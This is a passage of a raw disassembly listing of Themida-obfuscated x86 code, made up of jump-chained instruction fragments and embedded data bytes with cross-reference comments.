		dd 24248B24h, 2474FF57h, 444E904h, 0E8280000h, 922C59h
		dd 67B151D8h, 0C0E7C980h, 0B75304E9h, 5BF90084h, 0E959C800h
		dd 0FFFFCFCBh, 0F83E95Eh, 0F9050000h, 524B468h,	4DE12614h
		dd 3C46E9h, 243C3100h, 0FFBDD7E9h, 7BA968FFh, 0C890000h
		dd 33E1E924h, 0EE810000h, 0ACC7451h, 0FFEFF4E9h, 52DAF7FFh
		dd 5A240CFFh, 0EA81DAF7h, 6E80F345h, 295AD601h,	0A61EE9F0h
		dd 0C1810000h, 4, 4C181h, 0C870000h, 0C3815C24h, 5BB67188h
		dd 0EB81CB01h, 5BB67188h, 0E9240C8Bh, 0C6F7h
; ---------------------------------------------------------------------------


loc_558F78:				; CODE XREF: Themida_:00555A53j
		sub	edi, 0BCCB035Ch
		mov	ebx, edi
		pop	edi
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_562E34
; ---------------------------------------------------------------------------


loc_558F97:				; CODE XREF: Themida_:00557B03j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_553610
; ---------------------------------------------------------------------------


loc_558FA8:				; CODE XREF: Themida_:0055375Ej
		pop	ebp
		add	edx, edi
		push	dword ptr [esp]
		jmp	loc_56638D
; ---------------------------------------------------------------------------
		db 81h
		dd 0A7D30FE9h, 59CA89D0h, 8245429h, 2474015Ah, 0EDBD5504h
		dd 156506Ch, 5D08246Ch,	0E924348Bh, 5FA5h, 6EE9D689h, 800000C4h
		dd 0E980FAC9h, 59CB0002h, 1C1CE9h, 24343100h, 0E9243433h
		dd 1DA1h, 4C281h, 63E90000h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559003:				; CODE XREF: Themida_:00553368j
		or	edx, eax
		jmp	loc_5520E8
; ---------------------------------------------------------------------------
aYs		db 'Yé/Ê',0
		align 10h


loc_559010:				; CODE XREF: Themida_:005629DCj
		sub	ebx, 0FFFFFFFFh
		jmp	loc_562827
; ---------------------------------------------------------------------------
		dd 4010D8BEh, 77EE815Fh, 0E94F525Fh, 9642h
; ---------------------------------------------------------------------------


loc_559028:				; CODE XREF: Themida_:00565427j
		sub	edx, 86E15AFh
		add	edx, ecx
		add	edx, 86E15AFh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551813
; ---------------------------------------------------------------------------


loc_559041:				; CODE XREF: Themida_:0056643Bj
		add	esi, 8FD5162Ch
		add	edi, 2BE93769h
		jmp	loc_5653D4
; ---------------------------------------------------------------------------
		dw 489h
		dd 25E95224h, 1000002h,	0D0C681D6h, 5A0BCD28h, 8B243487h
		dd 7BE92424h, 1000033h,	0BD5557F9h, 5AF40208h, 4F1851BFh
		dd 8BEF01FAh, 0C483242Ch, 0BBF78104h, 51347741h, 7A5FE9h
		dd 41BE5600h, 5540692Fh, 0A775FEBDh, 0CBBA5223h, 0F7744A24h
		dd 0DDC281DAh, 8171A063h, 82974F2h, 0B951420Dh,	0F7B7EA8Fh
		dd 8159CA29h, 11715C5h,	0DD3BE908h, 0E6C1FFFFh,	86E94606h
		dd 66FFFFA5h, 6824048Bh, 1190h,	54240C89h, 592434FFh, 7752E951h
		dd 815E0000h, 4C6h, 4C68300h, 5C243487h, 8B240487h, 1AE92424h
		dd 59000036h, 0C581DD01h, 1BC4635Ah, 2C5835Bh, 8B242C87h
		dd 24D32424h, 0D3E99C24h, 81FFFF85h, 4C4h, 0E2895200h
		dd 4C281h, 83E90000h, 83000007h, 348704C6h, 48F5C24h, 24248B24h
		dd 50E18951h, 4B8h, 58C10100h, 75F7E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55914E:				; CODE XREF: Themida_:00555076j
		shl	eax, 6
		jmp	loc_55CF13
; ---------------------------------------------------------------------------
		dw 93E9h
		dd 1FFFF85h, 71BA52F7h,	87659E1Ch, 31D7F7FAh, 31D731FAh
		dd 0A4BE56FAh, 294B9AC2h, 9330E9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55917A:				; CODE XREF: Themida_:0055B316j
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		db 57h
		dd 0FBE9E789h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559187:				; CODE XREF: Themida_:00563C64j
		mov	[esp], esi
		mov	esi, 47B5B03h
		xor	eax, esi
		pop	esi
		add	eax, ecx
		jmp	loc_55D558
; ---------------------------------------------------------------------------


loc_559199:				; CODE XREF: Themida_:00559DE6j
		add	eax, 6CF107C4h
		pop	edi
		push	ecx
		jmp	loc_560B88
; ---------------------------------------------------------------------------


loc_5591A5:				; CODE XREF: Themida_:00557021j
		sub	ebx, 0F9ADD288h
		mov	edx, ebx
		jmp	loc_565A2C
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 191D9F25h, 2D5FFE01h, 6C3F6C86h, 8605F029h, 5E6C3F6Ch
		dd 790BEA81h, 0C20102F2h, 9F05E956h, 0CD81FFFFh, 393E2BD8h
		dd 427CBF57h, 0FD296CE1h, 37F5815Fh, 81621220h,	6C1B03C5h
		dd 5DE88981h, 7427E9h
		db 0
; ---------------------------------------------------------------------------


loc_5591F9:				; CODE XREF: Themida_:00562A83j
		sub	eax, 29D02824h
		add	eax, 36A1138h
		xor	eax, 1F4074EEh
		or	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55C050
; ---------------------------------------------------------------------------
		dd 0E35E76B8h, 5E8C109h, 2B44B005h, 0E9C13101h,	0D972h
; ---------------------------------------------------------------------------


loc_55922C:				; CODE XREF: Themida_:0055EA4Dj
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edi
		mov	edi, 5BEF010Ch
		add	edi, 19072C74h
		shr	edi, 5
		or	edi, 8C47E80h
		jmp	loc_564E31
; ---------------------------------------------------------------------------
		db 89h
		dd 0E0E957E1h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55926F:				; CODE XREF: Themida_:0055C9EDj
		not	esi
		shr	esi, 7
		jmp	loc_5602D1
; ---------------------------------------------------------------------------
		db 28h,	0C3h, 0E9h
		dd 52F7h, 0F088DE88h, 0B8C8E9h,	0FFC80000h, 57592434h
		dd 0BB535F54h, 3C0F7017h, 0FFE2E1E9h, 0E4E94BFFh, 0C1000023h
		dd 564E08E6h, 0E92414F7h, 0FFFFB7D6h
; ---------------------------------------------------------------------------


loc_5592B0:				; CODE XREF: Themida_:00561A57j
		sub	esi, 6D0A121Ah
		add	esi, 1D0E1F1Dh
		push	ebx
		mov	ebx, esi
		mov	ecx, ebx
		pop	ebx
		pop	esi
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 15h
		sub	dl, 48h
		add	ch, dl
		jmp	loc_55E8B0
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_555414
; ---------------------------------------------------------------------------
		db 51h
		dd 0BE56E189h, 4, 348BF101h, 4C48324h, 4C181h, 0C870000h
		dd 7FE95C24h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559323:				; CODE XREF: Themida_:0055636Aj
		pop	ebp
		push	ecx
		jmp	loc_551CB1
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFA5C4h, 1BE9E189h, 8BFFFFFCh, 0EC81240Ch, 4, 0FFBB26E9h
		dd 52E95AFFh, 5CFFFFD1h, 9C243CD3h, 0FF8399E9h,	243C89FFh
		dd 0D4BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55935D:				; CODE XREF: Themida_:00563F4Cj
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_555EE5
; ---------------------------------------------------------------------------
		dd 7A098BBFh, 0DC8BE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559372:				; CODE XREF: Themida_:00562653j
		xor	ecx, [esp]
		jmp	loc_55BB9E
; ---------------------------------------------------------------------------


loc_55937A:				; CODE XREF: Themida_:0055CD3Bj
		pop	esp
		push	edi
		jmp	loc_5652A2
; ---------------------------------------------------------------------------


loc_559381:				; CODE XREF: Themida_:00563EB2j
		xor	eax, ecx
		push	2897h
		jmp	loc_55815F
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 0E2h
		dd 861CC280h, 30D4F6E2h, 0D5CE9E2h, 0E6890000h,	4C681h
		dd 0C6830000h, 4EC8304h, 0FF243489h, 8B042474h,	0C4812434h
		dd 4, 5C24048Fh, 3302C683h, 34312434h, 24343324h, 7E80E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5593D2:				; CODE XREF: Themida_:00566C7Ej
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		mov	eax, 4
		jmp	loc_5621AF
; ---------------------------------------------------------------------------
		dw 489h
		dd 5E08924h, 4,	405h, 3CFBE900h, 57580000h, 85046BBFh
		dd 5FF8092Ch, 3305D8F7h, 50757BBEh, 993CE9h, 81F30100h
		dd 2306A6C3h, 2434FF54h, 6692E95Eh, 51500000h, 0B625A168h
		dd 0C181595Eh, 0C1E2ED11h, 0FDE9C889h, 2DFFFFF5h, 38E53BBFh
		dd 0FFF8D6E9h, 0ACC780FFh, 0FFCE1BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559451:				; CODE XREF: Themida_:005652D1j
		add	eax, 313A23D0h
		sub	eax, 69C259B6h
		sub	eax, ebx
		add	eax, 69C259B6h
		sub	eax, 313A23D0h
		push	edi
		push	ebp
		jmp	loc_55482D
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4AB7D5EAh, 0E9D089ADh, 0FFFF82F0h, 240C8B66h, 9918E9h
		db 0
; ---------------------------------------------------------------------------


loc_559485:				; CODE XREF: Themida_:0055AF80j
		push	ecx
		jmp	loc_55C8EA
; ---------------------------------------------------------------------------


loc_55948B:				; CODE XREF: Themida_:00553343j
		sub	ebp, eax
		jmp	loc_560C29
; ---------------------------------------------------------------------------


loc_559492:				; CODE XREF: Themida_:00553870j
		push	edi
		mov	edi, 0DF85691h
		jmp	loc_56058F
; ---------------------------------------------------------------------------


loc_55949D:				; CODE XREF: Themida_:005612B9j
		push	2AF9h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_560A64
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 241C895Ch, 0C16748BBh, 46F38126h, 811EE846h,	1C1D36EBh
		dd 0D396E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5594DA:				; CODE XREF: Themida_:005614C0j
		mov	[esp], edx
		push	ebp
		push	edi
		mov	edi, 782B14CCh
		or	edi, 70053BECh
		xor	edi, 46006789h
		jmp	loc_55AAA4
; ---------------------------------------------------------------------------
		db 9, 0C8h, 59h
		dd 5304E0C1h, 6ECAE9h
		db 0
; ---------------------------------------------------------------------------


loc_559501:				; CODE XREF: Themida_:0055AEA0j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_564E25
; ---------------------------------------------------------------------------
		db 46h
		dd 0F746D6F7h, 0A5F681DEh, 0E9A7E6ACh, 0AE27h
; ---------------------------------------------------------------------------


loc_559530:				; CODE XREF: Themida_:00553192j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5643D5
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 81ACE95Fh, 0D989FFFFh, 7E622D5Bh, 9F2D475Dh,	549F449h
		dd 51674A14h, 7EE9C801h, 8B000065h, 68552404h, 3D86h, 51242489h
		dd 1B12BA52h, 0E2C10710h, 37EA8104h, 0C10ADB4Ch, 0E94203E2h
		dd 0FFFFDA36h, 1478E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559586:				; CODE XREF: Themida_:00565045j
		mov	eax, [esp]
		add	esp, 4
		add	edx, ebx
		jmp	loc_565827
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 81E38924h, 4C3h, 4C38100h, 83000000h, 1C8904ECh
		dd 2474FF24h, 4742E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5595B6:				; CODE XREF: Themida_:005565C3j
		mov	edx, esp
		add	edx, 4
		jmp	loc_5665D6
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 0C0CE900h, 5A0000h, 0E9DB04D8h, 6645h,	8110E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5595DE:				; CODE XREF: Themida_:0055CA2Ej
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_558CBD
; ---------------------------------------------------------------------------
		dw 8F66h
		dd 80FCE902h, 1C87FFFFh, 9EE95C24h, 890000A7h, 9B1BE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559602:				; CODE XREF: Themida_:00556026j
		xchg	edx, edi
		push	edx
		mov	edx, 4BA36E8Eh
		add	edx, 279D4613h
		jmp	loc_55B7F5
; ---------------------------------------------------------------------------
		db 66h,	50h, 0B4h
		dd 0A3C4800Fh, 0FFAF08E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559621:				; CODE XREF: Themida_:00555740j
		mov	cl, 7
		push	bx
		mov	bl, 36h
		sub	cl, bl
		jmp	loc_552E34
; ---------------------------------------------------------------------------


loc_55962E:				; CODE XREF: Themida_:005528D7j
		xor	eax, 461937CEh
		neg	eax
		push	ecx
		mov	ecx, 0DE1D7868h
		jmp	loc_55566B
; ---------------------------------------------------------------------------
		dd 8B241C87h, 14892424h, 79E95024h, 0BF0000BDh,	4, 815FF901h
		dd 4C1h, 240C8700h, 6465E9h, 6FC5BD00h,	0E829486Fh, 3AB1E95Dh
		dd 0D8F70000h, 0E908E8C1h, 1727h, 4C481h, 1C330000h, 241C3124h
		dd 5C241C33h, 0E9243C89h, 9B43h, 8B58C689h, 0C481242Ch
		dd 4, 37C18158h, 8110AE2Ch, 0B02436E9h,	0E9F10101h, 77D8h
; ---------------------------------------------------------------------------


loc_5596B4:				; CODE XREF: Themida_:0055A094j
		add	esp, 4
		pop	ebx
		jmp	loc_563939
; ---------------------------------------------------------------------------
		db 68h,	21h, 25h
		dd 0C890000h, 7550B924h, 0EC833BB7h, 242C8904h,	0D652C7BDh
		dd 6E5C178h, 0FFFFB850h, 0C581FFFFh, 71075B29h,	0E9C529h
		dd 5200009Ah, 24148B54h, 4C481h, 0FAE90000h, 0FF00001Ah
		dd 51592434h, 0C181E189h, 4, 8704C183h,	0E95C240Ch, 5902h
		dd 0C281E289h, 4, 3304C283h, 14312414h,	24143324h, 0BCC7E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55972E:				; CODE XREF: Themida_:005622B9j
		push	ebp
		mov	ebp, 2CCE4555h
		not	ebp
		not	ebp
		neg	ebp
		add	ebp, 7F9EAE06h
		jmp	loc_55C095
; ---------------------------------------------------------------------------
		db 68h,	34h, 1Eh
		dd 1C890000h, 0B9515724h, 55605C13h, 5159CF89h,	4C56B7B9h
		dd 0A88BB7Eh, 0CB312B2Ch, 83240C8Bh, 0FB2904C4h, 56243C8Bh
		dd 0E950E689h, 0D47Ah
; ---------------------------------------------------------------------------


loc_559778:				; CODE XREF: Themida_:0055DE41j
		add	ecx, 0FFFFFFFFh
		jmp	loc_555BA7
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5304C383h, 42474FFh,	0FFC48FE9h, 0B151ACFFh,	59C80043h
		dd 533EB151h, 0CF80D8B7h, 80D7F69Dh, 0F90053F7h, 0FADBE95Bh
		dd 0ED81FFFFh, 23287737h, 0B850D501h, 23287737h, 0FF871FE9h
		dd 5F001FFh, 15311F1Fh,	74FF505Eh, 48B0424h, 4C48124h
		dd 0E9000000h, 0FFFFC7BAh
; ---------------------------------------------------------------------------


loc_5597DC:				; CODE XREF: Themida_:0055CE17j
		sub	ebp, 2CD3404h
		or	ebp, 7B436B65h
		jmp	loc_55558C
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 5E08950h, 4,	8704C083h, 555C2404h, 4BDh, 8F23E900h
		dd 0F7890000h, 0AAC6E95Eh, 0FCBBFFFFh, 8928A82Eh, 0D0F75BD8h
		dd 6259BD55h, 0E8212106h, 0FFD0D6E9h, 7EC0E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55982E:				; CODE XREF: Themida_:005657A0j
		mov	edi, edx
		pop	edx
		or	esi, edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		jmp	loc_552FB1
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 0E01DE924h, 0B1B8FFFFh, 29E026E7h, 24048BC6h, 2904C483h
		dd 36E95EF7h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55985F:				; CODE XREF: Themida_:0055B52Ej
		sub	eax, 59711670h
		add	eax, edx
		add	eax, 59711670h
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		xchg	esi, [esp]
		dec	esi
		xchg	esi, [esp]
		jmp	loc_555BC5
; ---------------------------------------------------------------------------
		dw 525Dh
		dd 4BAh, 5AD50100h, 7BCBE950h, 8F580000h, 248B2404h, 0E6D7E924h
		dd 0CB01FFFFh, 9A3EB81h, 335928F6h, 1C31241Ch, 241C3324h
		dd 0A22DE95Ch, 0EA83FFFFh, 0DBB5E902h, 53ADFFFFh, 0F87E07BBh
		dd 97EB8110h, 2DFC0B1Fh, 20962CF2h, 0F205D801h,	5B20962Ch
		dd 52EEF2Dh, 47C9E92Ch,	0C4810000h, 4, 83E68956h, 148904ECh
		dd 2E176824h, 72E90000h, 51000005h, 557147B9h, 0E0E18102h
		dd 0E960C350h, 0FFFFA7A2h, 6804C483h, 1CE7h, 89242C89h
		dd 4B951E5h, 1000000h, 0C58359CDh, 960EE904h, 0F7810000h
		dd 0E7A19A6h, 0CAF78147h, 0E9DC85F4h, 0D7Bh
; ---------------------------------------------------------------------------


loc_559938:				; CODE XREF: Themida_:00553F7Dj
		xchg	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		jmp	loc_560240
; ---------------------------------------------------------------------------
		db 89h
		dd 0E668240Ch, 8900000Ah, 0EC812404h, 4, 0B6241489h, 8BF088A3h
		dd 89532414h, 0BAB951E3h, 0C1212871h, 0A4E902E1h, 5AFFFFDFh
		dd 4EC81h, 14890000h, 51575524h, 595B8768h, 240C8B24h
		dd 4C481h, 0F1810000h, 761F5F3Ch, 24048151h, 77CD1C3Bh
		dd 0BBF0E9h, 43D3F700h,	81EB81h, 0C78120D0h, 68AE4B6Ah
		dd 0EF81DF01h, 68AE4B6Ah, 81241C8Bh, 4C4h, 425E900h, 81660000h
		dd 661315E9h, 0C8BC831h, 7ECAE924h, 0BD550000h,	2, 0D355E9h
		dd 247C0100h, 34FF5F04h, 0EEE95924h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5599EF:				; CODE XREF: Themida_:005532F2j
		push	1CFAh
		mov	[esp], eax
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dd 31241433h, 0C8B2414h, 4EC8324h, 89240489h, 0BCB951E0h
		dd 8133334Fh, 334FB8E9h, 8702D33h, 3CE9416Bh, 0F7000065h
		dd 0E99C241Ch, 0FFFF7CC2h, 0A8E95759h, 81000054h, 2C1h
		dd 240C3300h, 33240C31h, 0E95C240Ch, 2C5Fh, 7A6B2DADh
		dd 0D10559F3h, 0E9290727h, 7DA5h
; ---------------------------------------------------------------------------


loc_559A58:				; CODE XREF: Themida_:005643ACj
		mov	dl, 72h
		push	211Ah
		jmp	loc_557E6B
; ---------------------------------------------------------------------------
		dd 2AE8EB81h, 0F3013233h, 2AE8C381h, 87E93233h,	5600004Dh
		dd 881E94BEh, 6654E90Eh, 0C4810000h, 4,	10D468h, 24348900h
		dd 13D30BEh, 8588E922h,	0FF5AFFFFh, 1C8B2434h, 4C48124h
		dd 81000000h, 4C4h, 4ED8300h, 5C242C87h, 0FFA88BE9h, 7C30E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559ABE:				; CODE XREF: Themida_:0056537Bj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5666A2
; ---------------------------------------------------------------------------
		dd 0EA81EA01h, 2F4F275Ah, 4C2815Dh, 87000000h, 515C2414h
		dd 0C27EC6B9h, 0F2BF5731h, 81100110h, 0A3611CE7h, 0E2CF8173h
		dd 815D5655h, 0FA5D90EFh, 61EF8149h, 10B11BAh, 243C8BF9h
		dd 8704C483h, 31D7F7F9h, 8732E9F9h, 0BA520000h,	236B7EE3h
		dd 882E281h, 0C281509Fh, 7787740Dh, 39C1CA81h, 0E9420106h
		dd 0C479h, 8002E3C0h, 0EB8026EBh, 5BD8288Ch, 677CE9h, 4C48100h
		dd 0FF000000h, 815B2434h, 4C4h,	7B94E900h, 405FFFFh, 87000000h
		dd 248B2404h, 0E9F02924h, 4CDh
; ---------------------------------------------------------------------------


loc_559B6C:				; CODE XREF: Themida_:00552717j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	7C78h
		jmp	loc_55F8A6
; ---------------------------------------------------------------------------


loc_559B88:				; CODE XREF: Themida_:0055F96Bj
		pop	eax
		shl	esi, 7
		sub	esi, 340301E2h
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_561957
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0FFh
		dd 53023B29h, 764884BBh, 81DBF71Dh, 0C880F9F3h,	5C11E996h
		dd 0EA810000h, 4BFA45B7h, 0C281EA29h, 4BFA45B7h, 62A2EA81h
		dd 2C8B60A8h, 4C48324h,	0FF7B19E9h, 2434FFFFh, 0FF2434FFh
		dd 815B2434h, 4C4h, 0BB69E900h,	51ACFFFFh, 292C0BB1h, 2CE9C800h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559BF7:				; CODE XREF: Themida_:005534F3j
		pop	ebx
		add	esp, 4
		add	esp, 4
		add	edx, edi
		jmp	loc_5627E4
; ---------------------------------------------------------------------------
aH?IBa		db 'h?+ÒI]í',0
		db 10h,	5Fh, 7Ah
		dd 2351F581h, 0E989B2DAh, 0E92434FFh, 0FFFF9E62h, 0E904C483h
		dd 0FFFF90D4h, 934CE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559C32:				; CODE XREF: Themida_:0055200Fj
		push	esi
		jmp	loc_55AC63
; ---------------------------------------------------------------------------
		dd 24348B5Ah, 4C481h, 30E90000h, 56FFFFFEh, 44AAE9h, 0E9DA8900h
		dd 1408h
; ---------------------------------------------------------------------------


loc_559C54:				; CODE XREF: Themida_:0055B721j
		push	esi
		mov	esi, 79EE5591h
		shr	esi, 6
		jmp	loc_558E36
; ---------------------------------------------------------------------------


loc_559C62:				; CODE XREF: Themida_:00562B1Dj
		sub	ecx, eax
		pop	eax
		push	edx
		mov	edx, 35313F98h
		add	ecx, edx
		pop	edx
		mov	eax, [ecx]
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	edx
		mov	edx, 3EB53228h
		sub	[esp+4], edx
		pop	edx
		pop	eax
		push	76C7h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		push	99B06E7h
		jmp	loc_553D09
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 56E904C4h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559CAB:				; CODE XREF: Themida_:0055287Ej
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5579DD
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 6911E9h
		db 0
; ---------------------------------------------------------------------------


loc_559CC1:				; CODE XREF: Themida_:00552950j
		add	ebp, 389CFD7Eh
		and	esi, ebp
		mov	ebp, [esp]
		jmp	loc_55DEF9
; ---------------------------------------------------------------------------


loc_559CD1:				; CODE XREF: Themida_:0056536Dj
		pop	eax
		jmp	loc_55C86D
; ---------------------------------------------------------------------------
		db 68h
		dd 3A2C46CFh, 0FFF005E9h, 0C32D5BFFh, 2D17A249h, 61FC10FFh
		dd 0FF05F001h, 0E961FC10h, 0B2ACh, 8124148Bh, 4C4h, 5EF70100h
		dd 7405EF81h, 43E9488Dh
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559D0F:				; CODE XREF: Themida_:0055CBA8j
		or	eax, eax
		jnz	loc_55459A
		push	edi
		mov	edi, 25CF514Ah
		mov	edx, 55BDBEC6h
		jmp	loc_55BD9F
; ---------------------------------------------------------------------------
		db 81h
		dd 0AE0F7BC3h, 0EEEB810Bh, 0E969447Bh, 0ADF7h, 4C481h
		dd 0E9520000h, 0AFDBh, 24048B66h, 4EC81h, 0C890000h, 81E18924h
		dd 4C1h, 2BB5300h, 81000000h, 114D4C1h,	0F5C1812Eh, 553CD522h
		dd 0D34C21BDh, 8BE92937h, 0C481242Ch, 4, 0FFBEADE9h, 64E468FFh
		dd 24890000h, 24048324h, 41F7E904h, 0C1810000h,	5BFE6021h
		dd 1CE9815Ah, 0E93DDA51h, 3603h, 1EE9D831h, 5900004Ch
		dd 5C24048Fh, 28568h, 241C8900h, 241C8B54h, 8104C483h
		dd 4C3h, 4EB8100h, 53000000h, 42474FFh,	24048F5Bh, 1BF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_559DD9:				; CODE XREF: Themida_:00551C40j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	eax, 6CF107C4h
		sub	eax, edi
		jmp	loc_559199
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 74FF5700h, 63E90424h, 290000B4h, 0F7485EF0h, 87BE56D8h
		dd 210A6309h, 34E7E9F0h, 2C8B0000h, 4C48324h, 0A2AE95Eh
		dd 0C1810000h, 0FFFFFFFFh, 0E988C181h, 0EC83E349h, 241C8904h
		dd 637D68h, 240C8900h, 0E3240481h, 5B746F7Eh, 7EE3BD55h
		dd 0EB29746Fh, 81242C8Bh, 4C4h,	5B5F5300h, 0E9FA0159h
		dd 1F16h, 80E7B551h, 0CDFE77F5h, 53BBC580h, 0FF8E06E9h
		dd 243C89FFh, 0FFC1E9E9h, 4E9C0FFh, 8025B753h, 0F93090EFh
		dd 0C830E95Bh, 0EE810000h, 52C4418Dh, 2A83E9h, 241C8B00h
		dd 4C481h, 97E90000h, 81FFFFB7h, 4ECh, 24048900h, 2963BF57h
		dd 0EF816972h, 69722961h, 815FF889h, 3A98C1h, 55C1010Ch
		dd 50D8E9h, 0C1815900h,	4, 6804C183h, 26E3h, 0FF240C89h
		dd 0E9042474h, 0FFFFFECFh, 1C8BDA89h, 4C48324h,	8103EAC1h
		dd 0FAB9F5EAh, 0A9A2E91Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559EF2:				; CODE XREF: Themida_:0055CA58j
		not	ecx
		push	ebp
		push	ebx
		mov	ebx, 5772C5B1h
		mov	ebp, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 61B8306Ah
		sub	ecx, 0E882FDDh
		sub	ecx, esi
		add	ecx, 0E882FDDh
		push	edx
		jmp	loc_56178A
; ---------------------------------------------------------------------------


loc_559F26:				; CODE XREF: Themida_:00556510j
		add	ecx, 783BA5F9h
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_556764
; ---------------------------------------------------------------------------
aLSd		db '‹$$éD=',0
		align 2
		dw 0A52Ch
		dd 46346866h, 241C8966h, 0C0AAB450h, 0E95303E4h, 94A4h
		dd 24048B66h, 5E08950h,	4, 0EACCE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F66:				; CODE XREF: Themida_:00566321j
		add	eax, 50A23BBFh
		add	eax, 38A85152h
		sub	ebp, 25BE20ACh
		add	ebp, eax
		add	ebp, 25BE20ACh
		pop	eax
		sub	edi, ebp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5652FD
; ---------------------------------------------------------------------------


loc_559F9B:				; CODE XREF: Themida_:0055EB03j
		add	edx, 0A9FE200Eh
		xor	ebp, edx
		jmp	loc_55E45D
; ---------------------------------------------------------------------------
a1S6		db '1<$éÆ6',0
		align 10h
		dd 53912D58h, 62357104h, 89C93FBCh, 0A4E958C6h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559FC3:				; CODE XREF: Themida_:00563057j
		pop	eax
		and	edi, edx
		pop	edx
		jmp	loc_565FD3
; ---------------------------------------------------------------------------
		dd 2EEFBD55h, 0E8012C05h, 4EC835Dh, 52241C89h, 0FFCEF2E9h
		dd 53E289FFh, 4BBh, 5BDA0100h, 5FD8E9h,	48F5B00h, 0C895C24h
		dd 2474FF24h, 0F6F9E904h, 0A0B8FFFFh, 3179E241h, 9DE958C7h
		dd 10000A4h, 0D90158C1h, 190FE981h, 0E9815C9Bh,	32602415h
